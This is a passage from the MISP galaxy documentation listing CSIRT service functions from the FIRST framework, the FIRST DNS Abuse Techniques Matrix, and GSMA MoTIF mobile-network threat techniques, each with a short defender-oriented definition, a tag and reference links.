Information and data collection activities extend beyond feeds providing automated information. Collection includes identifying useful sources such as information-relevant external activities including news from other constituencies, media sources, and other CSIRTs or security organizations, internal activities (e.g., organizational changes), technology developments, external events, political events, attack trends, defensive trends, conferences, available training, and more. The data collection function supports other services such as Security Event Management, Incident Management, and Knowledge Transfer. It also supports functions and activities within these services such as analysis, prediction, response, and risk mitigation. Newly collected information may reveal that an attack on a constituent is more likely than before. External events may expose information that identifies new risks to assets for a period of time or require heightened detection activities. Overall the information helps provide actionable information to aid in decision making and incident handling.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Collection"*

Function: Data processing and preparation

Data processing and preparation includes transformation, processing, normalization, and validation of a set of data. Sources of cybersecurity data need to be validated for accuracy often due to a high number of false positives. The relevant data also typically comes in different formats, and new data needs to be combined with historical data before a complete analysis can be performed. Some types of data (such as news articles) may need to be analyzed or processed as part of the preparation process. One example would be extracting relevant security information from a news article (e.g., names, dates, places, technical information, weaknesses, system names) and comparing it with internal data for potential impacts. Some analysis methods require data to be stored in the same format, or for files to have the same number of records. There are multiple processing steps that may be involved to prepare the data. Data augmentation (also called enrichment) is performed by including other available information related to a given piece of data from other internal and external sources. For example, teams may collect information related to internet protocol addresses

(IP addresses) such as autonomous system identifiers, country codes, or geo-location data. For internal asset information, teams may enrich their asset inventory data with the name of the asset owner, their role, their permissions on other assets, their physical working location over time, and more.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Data processing and preparation"*

Function: Projection and inference

The process of inferring the current state of a situation and making predictions about the possible likely near-term pictures based on the status and dynamics of the collected data. Sometimes the data may quickly show a security issue.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Projection and inference"*

Function: Event detection (through alerting and/or hunting)

The systematic and often directed searching for anomaly activity inside and outside of network boundaries based upon external and internal information and trends. To assist the constituency with analyzing its data from sensors and other sources to draw conclusions about its environment and situation. For example, if an anti-virus sensor sends an alert of a suspicious file, the team may analyze the system configuration, the sensor configuration, the file that was alerted, the user activity at the time, and more, to draw a conclusion about the severity of the observation. This function may receive significant input from the Security Event Management service area. The observations from sensors that are used to detect events may be shared among multiple services. CSIRT teams also need to determine the current situational picture based upon specific pieces of information about threats. This activity may sometimes be called “threat hunting.” Typically, threat hunting involves either preparing the environment to detect specific threat activity, or searching for specific threat activity that may already be present.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Event detection (through alerting and/or hunting)"*

Function: Information security incident management decision support

Performing analysis of specific evidence assists in identifying insights to support incident resolution. Sometimes, CSIRTs may focus their situational analysis to support a specific desired outcome such as incident resolution. Certain responses to an incident may affect a situational picture differently, and responders may ask for analysis (e.g., impact, cost, risk of failure) of choices. The decision-making needs of the constituency may change as their situational picture evolves, and the CSIRT team may initiate new analysis processes to assist them. This activity is related to the Incident Management Service Area. Incident Management functions are supported by Situational Awareness and the situational picture may change based upon Incident Management activities.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Information security incident*

management decision support"

Function: Situational impact

This function identifies the impact a projection or inference may have upon a current or near-term future situation. An impact may include raising or lowering certain risks such as data loss, system downtime, or effects on data confidentiality/availability/integrity.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Situational impact"*

Function: Internal and external communication

Once the results of Analyze and Interpret are complete, they can be used to improve decision-making via both internal and external communication processes. Specific pieces of information are distributed based upon who needs to know them. Communication includes the method of delivery and the content that is being delivered. A CSIRT team might communicate new information and how it will change the situational picture. An example of this would be reporting the expected change a new malicious technique it has observed during an incident would have upon a constituent member. It may also include trend information such as the most useful sources of enrichment data and steps in which constituents can use it to improve their own situational awareness.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Internal and external communication"*

Function: Reporting and recommendations

Reports and recommendations should clearly indicate the choices and actions faced by constituents, and include analysis of the expected consequences of each choice or action. Communication of findings should include a list of evidence supporting the analysis and the recommendation (if a recommendation is made). The methods used to create the findings should be clearly explained to the audience so they can also judge the claims presented. The CSIRT team may create reports on a single event, a series of events, trends, patterns, possible events, or more to support the needs for their constituency to understand a situational picture.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Reporting and recommendations"*

Function: Implementation

In some instances, a CSIRT team may also perform the recommended adjustments to parts of the security infrastructure, for example changing the firewall rules on a particular honey pot based upon situational analysis.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Implementation"*

Function: Dissemination / integration / information sharing

This function may include the following sub-functions: using the results of the analysis service in internal and external planning and decision-making processes identifying the right targets to receive the information making the analysis results available ensuring the delivery is successful tracking and reporting on the sharing of information sending relevant information to the Knowledge Transfer service for further use and dissemination

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Dissemination / integration / information sharing"*

Function: Management of information sharing

This function may include the following sub-functions: providing information to other groups. formatting information for transfer. tracking transfer process and its outcome.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Management of information sharing"*

Function: Feedback

This function involves providing and receiving feedback on information provided, received, and used by the constituency, other service providers or other stakeholders. Was the information received accurate, applicable, timely, strategic, new/novel, etc.? Was it helpful in resolving an investigation? Did it lead to a new insight? This may mean providing information also to other CSIRT (as an external source) on the usefulness of or changes to signatures, honeypot findings, IOCs, warnings, threat information, mitigations, etc. This activity may also be performed by the Knowledge Transfer service area. If so, the results should be communicated back to the Situational Awareness service area.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Feedback"*

Function: Research and information aggregation

This function involves researching and aggregating information relevant for building awareness materials and reports, including from outcomes of other services/functions, especially from the Security Event Management, Incident Management, and Situational Awareness service areas.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Research and information aggregation"*

Function: Reports and awareness materials development

This function involves developing materials for diverse audiences (technical staff, management,

end users, etc.) and in various formats, such as presentations, short videos, cartoons, booklets, technical analysis, trend reports, and annual reports.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Reports and awareness materials development"*

Function: Information dissemination

The function involves implementing a process of information dissemination that can help the CSIRT to best deliver its reports and awareness materials to its constituency based on the characteristics of different audiences and content.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Information dissemination"*

Function: Outreach

This function involves building partnerships, promoting cooperation, and engaging key stakeholders, internal or external to the constituency, with the goal of: disseminating awareness and best practices; helping the constituency and external stakeholders understand the services and benefits a CSIRT can provide; helping the CSIRT to better understand constituents' needs; and enabling the realization of CSIRT's mission. This may involve ensuring interoperability or fostering collaboration between or across organizations.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Outreach"*

Function: Knowledge, skill, and ability requirements gathering

The function involves collecting knowledge, skill, and ability (KSA) needs and the competence of a constituency in regard to determining what training and education should be provided.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Knowledge, skill, and ability requirements gathering"*

Function: Educational and training materials development

This function involves building or acquiring content of educational and training materials such as presentations, lectures, demonstrations, simulations, videos, books, booklets, etc.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Educational and training materials development"*

Function: Content delivery

This function involves the transfer of knowledge and content to "students." This can occur via

various methods, such as computer-based/online training (CBT/WBT), instructor-led, virtual, conferences, presentations, labs, capture the flag (CTF) competitions, books, online videos, etc.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Content delivery"*

Function: Mentoring

A Mentoring program can help provide a formal as well as informal mechanism for the mentor to share with the mentee about education and skill development, insights, and life and career experiences outside of the official reporting relationship and structure of the team. This can involve on-site visits, rotation (exchange), shadowing, and discussing rationale for specific decisions and actions.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Mentoring"*

Function: CSIRT staff professional development

Once the appropriate skills have been identified, professional development is used by a CSIRT to promote a continuous process of securing new knowledge, skills, and abilities that relate to the security profession, unique job responsibilities, and the overall Team environment. This can include attending conferences, advanced training, and cross-training activities, among others.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: CSIRT staff professional development"*

Function: Requirements analysis

Determine the learning objectives and scope of the exercise. Define the specific services, capabilities, and topics to be covered by the exercise. Ensure exercise includes activities and topics that relate to required or desired skills needed by the participants, as well as the processes that should be tested.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Requirements analysis"*

Function: Format and environment development

Define the format and platform needed to meet the objectives and deliver the expected outcomes of the exercise.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Format and environment development"*

Function: Scenario development

Development of exercise scenarios in support of stakeholder objectives. Deliverables also include instructions and guidance to the participants and exercise managers; these instructions include recommended actions for the participants detailing some/all scenario steps.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Scenario development"*

Function: Exercises execution

The function involves performing readiness testing of constituent “students” to test their ability to apply training and perform job or task functions. Can be in the form of real or virtual environments, simulations, field tests, table tops, mock scenarios, or a combination, with injects being provided in a structured manner. This will also help determine the level at which the team is operating, as well as if and where it has room for improvement.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Exercises execution"*

Function: Exercise outcome review

Develop an after-action report which includes lessons learned or findings/best practices from the exercise, and provide an assessment to the stakeholders/management.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Exercise outcome review"*

Function: Risk management support

Support to activities related to assessing risk or compliance. This may include conducting an actual assessment or providing support to evaluate the results of an assessment.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Risk management support"*

Function: Business continuity and disaster recovery planning support

Support the constituency in the activities related to organizational resilience, based on risks identified.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Business continuity and disaster recovery planning support"*

Function: Policy support

This function supports the constituency in the development, maintenance, institutionalization, and enforcement of policies, while ensuring they enable and support incident management activities. For internal CSIRTs, this typically includes support for information security and other operating policies. For coordinating and National CSIRTs, this might include support for public policies and new legislation.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Policy support"*

Function: Technical advice

This function provides support and recommendations for the improvement of cybersecurity related infrastructures, tools, and services for its constituency, with the goal of improving the security posture and incident management overall. This might include advice on security considerations for acquisition, compliance verification, maintenance, and upgrades internal and external audits of cybersecurity related infrastructures and tools secure software development requirements and secure coding

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Technical advice"*

FIRST DNS Abuse Techniques Matrix

The Domain Name System (DNS) is a critical part of the Internet, including mapping domain names to IP addresses. Malicious threat actors use domain names, their corresponding technical resources, and other parts of the DNS infrastructure, including its protocols, for their malicious cyber operations. CERTs are confronted with reported DNS abuse on a continuous basis, and rely heavily on DNS analysis and infrastructure to protect their constituencies. Understanding the international customary norms applicable for detecting and mitigating DNS abuse from the perspective of the global incident response community is critical for the open Internet's stability, security and resiliency. See also https://www.first.org/global/sigs/dns/ for more information..

FIRST DNS Abuse Techniques Matrix is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

FIRST.org - Andrey Meshkov (AdGuard) - Ángel González (INCIBE-CERT) - Angela Matlapeng (bwCSIRT) - Benedict Addis (Shadowserver) - Brett Carr (Nominet) - Carlos Alvarez (ICANN; founding member) - David Ruefenacht (Infoguard) - Gabriel Andrews (FBI) - John Todd (Quad9; current co-chair of DNS Abuse SIG) - Jonathan Matkowsky (RiskIQ / Microsoft; former co-chair) - Jonathan Spring (CISA; current co-chair of DNS Abuse SIG) - Mark Henderson (IRS) - Mark Svancarek (Microsoft) - Merike Kaeo (Double Shot Security) - Michael Hausding (SWITCH-CERT; former co-chair, current FIRST board member) - Peter Lowe (DNSFilter; current co-chair of DNS Abuse SIG) - Shoko Nakai (JPCERT/CC) - Swapneel Patnekar (Shreshta IT) - Trey Darley (FIRST board; founding member)

DGAs

DGAs - Domain Generation Algorithm

The tag is: *misp-galaxy:first-dns="DGAs"*

Table 1635. Table References

Links
https://attack.mitre.org/techniques/T1568/002/

Domain name compromise

The wrongfully taking control of a domain name from the rightful name holder. Compromised domains can be used for different kinds of malicious activity like sending spam or phishing, for distributing malware or as botnet command and control.

The tag is: *misp-galaxy:first-dns="Domain name compromise"*

Table 1636. Table References

Links
https://www.icann.org/groups/ssac/documents/sac-007-en

Lame delegations

Lame delegations occur as a result of expired nameserver domains allowing attackers to take control of the domain resolution by re-registering this expired nameserver domain.

The tag is: *misp-galaxy:first-dns="Lame delegations"*

Table 1637. Table References

Links
https://blog.apnic.net/2021/03/16/the-prevalence-persistence-perils-of-lame-nameservers/

DNS cache poisoning

DNS cache poisoning - also known as DNS spoofing, is a type of cyber attack in which an attacker corrupts a DNS resolver's cache by injecting false DNS records, causing the resolver to records controlled by the attacker.

The tag is: *misp-galaxy:first-dns="DNS cache poisoning"*

Table 1638. Table References

Links
https://capec.mitre.org/data/definitions/142.html

DNS rebinding

DNS rebinding - a type of attack where a malicious website directs a client to a local network address, allowing the attacker to bypass the same-origin policy and gain access to the victim's local resources.

The tag is: *misp-galaxy:first-dns="DNS rebinding"*

Table 1639. Table References

Links

https://capec.mitre.org/data/definitions/275.html

DNS server compromise

Attacker gains administrative privileges on an open recursive DNS server, authoritative DNS server, organizational recursive DNS server, or ISP-operated recursive DNS server.

The tag is: *misp-galaxy:first-dns="DNS server compromise"*

Stub resolver hijacking

The attacker compromises the Operating System of a computer or a phone with malicious code that intercepts and responds to DNS queries with rogue or malicious responses.

The tag is: *misp-galaxy:first-dns="Stub resolver hijacking"*

Local recursive resolver hijacking

Consumer Premise Equipment (CPE), such as home routers, often provide DNS recursion on the local network. If the CPE device is compromised, the attacker can change the recursive resolver behavior; for example, by changing responses.

The tag is: *misp-galaxy:first-dns="Local recursive resolver hijacking"*

On-path DNS attack

Attackers intercept communication between a user and a DNS server and provide different destination IP addresses pointing to malicious sites.

The tag is: *misp-galaxy:first-dns="On-path DNS attack"*

Table 1640. Table References

Links
https://www.imperva.com/learn/application-security/dns-hijacking-redirection/

DoS against the DNS

Multiple systems sending malicious traffic to a target at the same time.

The tag is: *misp-galaxy:first-dns="DoS against the DNS"*

DNS as a vector for DoS

Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly

termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP through the use of several others in the wild have been documented. These Reflection and Amplification Floods can be directed against components of the DNS, like authoritative nameservers, rendering them unresponsive.

The tag is: *misp-galaxy:first-dns="DNS as a vector for DoS"*

Table 1641. Table References

Links
https://attack.mitre.org/techniques/T1498/002/

Dynamic DNS resolution

Dynamic DNS resolution (as obfuscation technique) - Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name IP address or port number the malware uses for command and control.

The tag is: *misp-galaxy:first-dns="Dynamic DNS resolution"*

Table 1642. Table References

Links
https://attack.mitre.org/techniques/T1568/

Dynamic DNS resolution: Fast flux

Dynamic DNS resolution: Fast flux (as obfuscation technique) - Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name with multiple IP addresses assigned to it which are swapped with high frequency using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.

The tag is: *misp-galaxy:first-dns="Dynamic DNS resolution: Fast flux"*

Table 1643. Table References

Links
https://attack.mitre.org/techniques/T1568/001/

Infiltration and exfiltration via the DNS

Exfiltration via the DNS requires a delegated domain or, if the domain does not exist in the public DNS, the operation of a resolver preloaded with that domain's zone file information and configured

to receive and respond to the queries sent by the compromised devices.

The tag is: *misp-galaxy:first-dns="Infiltration and exfiltration via the DNS"*

Malicious registration of (effective) second level domains

For example, before attacking a victim, adversaries purchase or register domains from an ICANN-accredited registrar that can be used during targeting. See also CAPEC-630.

The tag is: *misp-galaxy:first-dns="Malicious registration of (effective) second level domains"*

Table 1644. Table References

Links
https://capec.mitre.org/data/definitions/630.html

Creation of malicious subdomains under dynamic DNS providers

Before attacking a victim, adversaries purchase or create domains from an entity other than a registrar or registry that provides subdomains under domains they own and control. S

The tag is: *misp-galaxy:first-dns="Creation of malicious subdomains under dynamic DNS providers"*

Table 1645. Table References

Links
https://en.wikipedia.org/wiki/Dynamic_DNS

Compromise of a non-DNS server to conduct abuse

- Internet attack infrastructure is a broad category, and this covers any non-DNS server. Many compromised servers, such as web servers or mail servers, interact with the DNS or may be instrumental in conducting DNS abuse. For example, compromised mail servers are one technique that may be used to send phishing emails.

The tag is: *misp-galaxy:first-dns="Compromise of a non-DNS server to conduct abuse"*

Spoofing or otherwise using unregistered domain names

In a context where a domain name is expected (such as the From header in mail or a URL in a web page or message body), supplying a domain name not controlled by the attacker and that is not controlled by or registered to a legitimate registrant.

The tag is: *misp-galaxy:first-dns="Spoofing or otherwise using unregistered domain names"*

Spoofing of a registered domain

In a context where a domain name is expected (such as the From header in mail or a URL in a web page or message body), supplying a domain name not controlled by the attacker and that is in fact controlled by or registered to a legitimate registrant.

The tag is: *misp-galaxy:first-dns="Spoofing of a registered domain"*

DNS tunneling

DNS tunneling - tunneling another protocol over DNS - The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal expected traffic.

The tag is: *misp-galaxy:first-dns="DNS tunneling"*

Table 1646. Table References

Links
https://attack.mitre.org/techniques/T1071/004/

DNS beacons - C2 communication

DNS beacons - C2 communication - Successive or periodic DNS queries to a command & control server, either to exfiltrate data or await further commands from the C2.

The tag is: *misp-galaxy:first-dns="DNS beacons - C2 communication"*

GSMA MoTIF

Mobile Threat Intelligence Framework (MoTIF) Principles. .

GSMA MoTIF is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

GSMA

Monitor Radio Interface

The adversaries may monitor radio interface traffic to passively collect information about the radio

network configuration or about subscribers in close vicinity of the adversary. (1), (2), (3), (4).

The tag is: *misp-galaxy:gsma-motif="Monitor Radio Interface"*

Table 1647. Table References

Links
page 14 of page 14 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Borgaonkar, R. & Shaik, A. (2015). LTE and IMSI Catcher Myths. Black Hat USA 2015 (2) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks. (3) Kumar, P. et.al. (2021). Murat: Multi-RAT False Base Station Detector (Section IIB) (4) Rupprecht, D. et.al. (2018). On Security Research Towards Future Mobile Network Generations. (Section III D)[(1) Borgaonkar, R. & Shaik, A. (2015). LTE and IMSI Catcher Myths. Black Hat USA 2015 (2) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks. (3) Kumar, P. et.al. (2021). Murat: Multi-RAT False Base Station Detector (Section IIB) (4) Rupprecht, D. et.al. (2018). On Security Research Towards Future Mobile Network Generations. (Section III D)]

Broadcast Channel

In mobile networks the adversary needs to obtain information about the cell configuration parameters that will be used to prepare for the next phase of an attack that is utilizing the radio interface. Example of configuration could be the physical cell ID (PCI), neighbouring cells, frequencies used, Tracking Area Codes (TAC). (1), (2), (3), (4)

The tag is: *misp-galaxy:gsma-motif="Broadcast Channel"*

Table 1648. Table References

Links
page 15 of page 15 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Li, Z. et al. (2017). FBS-Radar: Uncovering Fake Base Stations at Scale in the Wild. (2) Borgaonkar, R. & Shaik, A. (2015). LTE and IMSI Catcher Myths. Black Hat USA 2015 (3) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks. (4) Quintin, C. (2020). Detecting Fake 4G Base Stations in Real Time. Black Hat USA 2020.[(1) Li, Z. et al. (2017). FBS-Radar: Uncovering Fake Base Stations at Scale in the Wild. (2) Borgaonkar, R. & Shaik, A. (2015). LTE and IMSI Catcher Myths. Black Hat USA 2015 (3) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks. (4) Quintin, C. (2020). Detecting Fake 4G Base Stations in Real Time. Black Hat USA 2020.]

Gather Victim Identity Information

Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. In mobile networks,

the adversary wants to obtain information about subscriber and phone identities to conduct more targeted attacks. Subscriber identity can be, for example, MSISDN, IMSI, GUTI, TMSI.

The tag is: *misp-galaxy:gsma-motif="Gather Victim Identity Information"*

Table 1649. Table References

Links
page 16 of page 16 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) The Register. (2017). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts[(1) The Register. (2017). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts]
ATT&CK Enterprise: Gather Victim Identity Information (T1589)[ATT&CK Enterprise: Gather Victim Identity Information (T1589)]

Phone and Subscription Information

In mobile networks, targeted attacks towards subscribers have to be done using the subscriber identity. Obtaining the identity would allow the attacker to gather more information or initiate more targeted attacks. The adversary gathers phone or subscription related information about subscriber(s). Examples are phone number (MSISDN), IMSI (International Mobile Subscriber Identity), home mobile network operator, S@T browser availability on the UICC, IMEI (International Mobile Equipment Identity). The data might be acquired through interconnection, social engineering, social media or otherwise. (1)

The tag is: *misp-galaxy:gsma-motif="Phone and Subscription Information"*

Table 1650. Table References

Links
page 17 of page 17 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) The Register. (2017). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts[(1) The Register. (2017). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts]
ATT&CK Enterprise: Gather Employee Names (T1589.003),[ATT&CK Enterprise: Gather Employee Names (T1589.003),]

Network Service Scanning

An adversary may discover operator network related information (identifiers). Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system. In mobile networks, the adversary wants to obtain information about subscriber,

signalling addresses, supported service at a certain server. The scan may take place from the Internet or the interconnection network or the radio network. Often automated mass scanning events take place.

The tag is: *misp-galaxy:gsma-motif="Network Service Scanning"*

Table 1651. Table References

Links
page 17 of page 17 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) GSMA PRD IR.70 - SMS SS7 Fraud (Public)[(1) GSMA PRD IR.70 - SMS SS7 Fraud (Public)]
ATT&CK Enterprise: Network Service Discovery (T1046), FiGHT: Network Service Scanning (FGT1046) NOTE: These two MITRE techniques are actually the same, however due to an error the FiGHT technique was renamed.[ATT&CK Enterprise: Network Service Discovery (T1046), FiGHT: Network Service Scanning (FGT1046) NOTE: These two MITRE techniques are actually the same, however due to an error the FiGHT technique was renamed.]

Scan Signalling Addresses

By sending signalling messages to the network, the adversary tries to check if mobile network nodes leak node or network related information, or bypasses defences ((1) (2) below). Using this sub-technique as a preparatory step, the adversary can then tune his further attack steps to send specific attack messages based on this scan. Examples are SS7 scans to evaluate if a Global Title is in use or not. The adversary may also probe which PLMN-ID values are accepted by the HPLMN in Diameter Authentication Information Request (AIR).

The tag is: *misp-galaxy:gsma-motif="Scan Signalling Addresses"*

Table 1652. Table References

Links
page 18 of page 18 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Enea. (2017). Designated Attacker - Evolving SS7 Attack Tools (2) Enea. (2018). Diameter Signalling Security - Protecting 4G Networks[(1) Enea. (2017). Designated Attacker - Evolving SS7 Attack Tools (2) Enea. (2018). Diameter Signalling Security - Protecting 4G Networks]
ATT&CK Enterprise: IP Block Scanning (T1595.001)[ATT&CK Enterprise: IP Block Scanning (T1595.001)]

Search Closed Sources

Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or

cybercrime black markets. Adversaries may search and collect information about the mobile network operator from closed or semi-closed sources. Typical examples are GSMA IR.21, IR.85, FS.30 or T-ISAC, information from insiders or partners. The information acquisition might be done legally or illegally.

The tag is: *misp-galaxy:gsma-motif="Search Closed Sources"*

Table 1653. Table References

Links
page 19 of page 19 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) The Intercept. (2014). Operation AURORAGOLD: How the NSA Hacks Cellphone Networks Worldwide. (2) (1) The Intercept. (2014). Operation AURORAGOLD: How the NSA Hacks Cellphone Networks Worldwide. (2) https://www.wikileaks.org/hackingteam/emails/emailid/72166
ATT&CK Enterprise: Search Closed Sources (T1597)[ATT&CK Enterprise: Search Closed Sources (T1597)]

Mobile Network Operator Sources

The adversary may gather information about the mobile network operator to be used in initial access or for preparation of the attack. This can be network architecture, protocols, ports, Global Titles, roaming partners, suppliers. The adversary may search in closed sources like GSMA roaming database RAEX IR.21 (1), IMEI database (2) or IR.85.

The tag is: *misp-galaxy:gsma-motif="Mobile Network Operator Sources"*

Table 1654. Table References

Links
page 20 of page 20 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) The Intercept. (2014). Operation AURORAGOLD: How the NSA Hacks Cellphone Networks Worldwide. (2) (1) The Intercept. (2014). Operation AURORAGOLD: How the NSA Hacks Cellphone Networks Worldwide. (2) https://www.wikileaks.org/hackingteam/emails/emailid/72166

Acquire Infrastructure

Adversaries may buy, lease, or rent infrastructure that can be used during targeting. For example, commercial service providers exist that offer access to signalling infrastructure or sell False Base Station solutions. Use of these infrastructure solutions allows an adversary to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal.

The tag is: *misp-galaxy:gsma-motif="Acquire Infrastructure"*

Table 1655. Table References

Links
page 20 of page 20 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) TBIJ. (2020) Spy companies using Channel Islands to track phones around the world.[(1) TBIJ. (2020) Spy companies using Channel Islands to track phones around the world.]
ATT&CK Enterprise: Acquire Infrastructure (T1583)[ATT&CK Enterprise: Acquire Infrastructure (T1583)]

Core Signalling Infrastructure Access

Adversaries may buy, lease, or rent SS7, Diameter, GTP-C signalling infrastructure access or services that can be used during targeting (1), (2), (3). Targeted attacks to mobile network operators may use 'surveillance as a service' specialists to achieve their goals (2). Their attacks often blend in with normal traffic coming from partners of the victim mobile network operator and make attribution difficult. Fraudsters and spammers may use specific partner gateways or access to messaging servers for their purposes.

The tag is: *misp-galaxy:gsma-motif="Core Signalling Infrastructure Access"*

Table 1656. Table References

Links
page 21 of page 21 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) TBIJ. (2020) Spy companies using Channel Islands to track phones around the world. (2) CitizenLab. (2020). Running in Circles Uncovering the Clients of Cyberespionage Firm Circles. (3) TBIJ. (2021). Swiss tech company boss accused of selling mobile network access for spying. (4) Enea (2021) 5G Network Slicing Security in 5G Core Networks (5) Mobileum (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem[(1) TBIJ. (2020) Spy companies using Channel Islands to track phones around the world. (2) CitizenLab. (2020). Running in Circles Uncovering the Clients of Cyberespionage Firm Circles. (3) TBIJ. (2021). Swiss tech company boss accused of selling mobile network access for spying. (4) Enea (2021) 5G Network Slicing Security in 5G Core Networks (5) Mobileum (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem]

Radio Interface Access

Adversaries may buy, lease, or obtain physical access to a mobile operator network base station or use their own rogue cellular base (Stingray) station for launching an attack (2) (3). The adversary could set up a rogue cellular base station infrastructure and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique (1).

The tag is: *misp-galaxy:gsma-motif="Radio Interface Access"*

Table 1657. Table References

Links
page 22 of page 22 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) DePerry, D. & Ritter T. (2013). I Can Hear You Now - Traffic Interception and Remote Mobile Phone Cloning with a Compromised CDMA Femtocell. Black Hat USA2013 (2) Wired (2016). Here's How Much a StingRay Cell Phone Surveillance Tool Costs (3) Alibaba.com. Wholesale imsi catcher 4g For Online Communication[(1) DePerry, D. & Ritter T. (2013). I Can Hear You Now - Traffic Interception and Remote Mobile Phone Cloning with a Compromised CDMA Femtocell. Black Hat USA2013 (2) Wired (2016). Here's How Much a StingRay Cell Phone Surveillance Tool Costs (3) Alibaba.com. Wholesale imsi catcher 4g For Online Communication]

Develop Capabilities

Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle. In mobile networks adversary may develop false base stations (1), mobile exploits, core signalling exploitation tools (2), SIM card exploits, radio exploitation tools and other tools to initiate attacks.

The tag is: *misp-galaxy:gsma-motif="Develop Capabilities"*

Table 1658. Table References

Links
page 23 of page 23 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
